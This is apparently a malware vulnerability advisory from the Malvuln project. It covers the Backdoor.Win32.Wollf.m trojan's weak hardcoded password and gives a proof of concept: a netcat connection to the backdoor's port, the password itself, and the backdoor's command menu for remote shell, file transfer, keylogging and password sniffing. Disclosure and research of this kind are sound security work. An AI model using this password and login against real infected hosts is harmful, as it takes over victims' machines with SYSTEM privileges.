Backdoor.Win32.Wollf.m malware suffers from having a weak hardcoded password.
f3aafcac5cfd010ab02ecaf37f1555efDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/b125a9a083447ad7d437e3e7f3ed5325.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Wollf.m
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 55555 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "alfaromeo" is weak and hardcoded within the executable and appears many times in a database of leaked passwords.
Type: PE32
MD5: b125a9a083447ad7d437e3e7f3ed5325
Vuln ID: MVID-2021-0435
Dropped files: wrm.exe
Disclosure: 12/31/2021
Exploit/PoC:
nc64.exe x.x.x.x 55555
login: alfaromeo
Login succeed!
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org
[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#help
DOS Switch to MS-DOS prompt
DIR/LS/LIST Directory and file list
CD Entry directory
MD/MKDIR Make directory
PWD Get current dirctory
COPY/CP Copy file
DEL/RM Delete directory/file
REN/RENAME Rename file
MOVE/MV Move file
TYPE/CAT Type text file
POPMSG Popup message box
SYSINFO Get system information
WHO/W Get current connections
SHELL Execute command by system shell(cmd.exe)
EXEC/RUN Execute file by windows API(WinExec)
WS Windows list
PS Process list
KILL Kill process
GET/GETFILE Download file from remote machine
PUT/PUTFILE Upload file to remote machine
WGET Get file from web server
FGET Get file from ftp server
FPUT Put file to ftp server
TELNET Connect to other host
FTPD Start ftp service
TELNETD/TELD/EXPORT Start telnet service (export shell)
REDIR Redirect tcp data from <Port> to <Dest_host:Dest_port>
REDIR_STOP Stop redirect tcp data
SNIFF Sniff ftp/smtp/pop3/http password what via ethernet
SNIFF_STOP Stop ethernet sniffer
KEYLOG Start keyboard record
KEYLOG_STOP Stop keyboard record
REBOOT Reboot windows
SHUTDOWN Shutdown windows
EXIT Close current connection
QUIT Close all connection and abort service
REMOVE Remove service
VER/VERSION Version information
HELP/H/? Show help message
Type "HELP | MORE" for multipage display.
Command "HELP" succeed.
[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#
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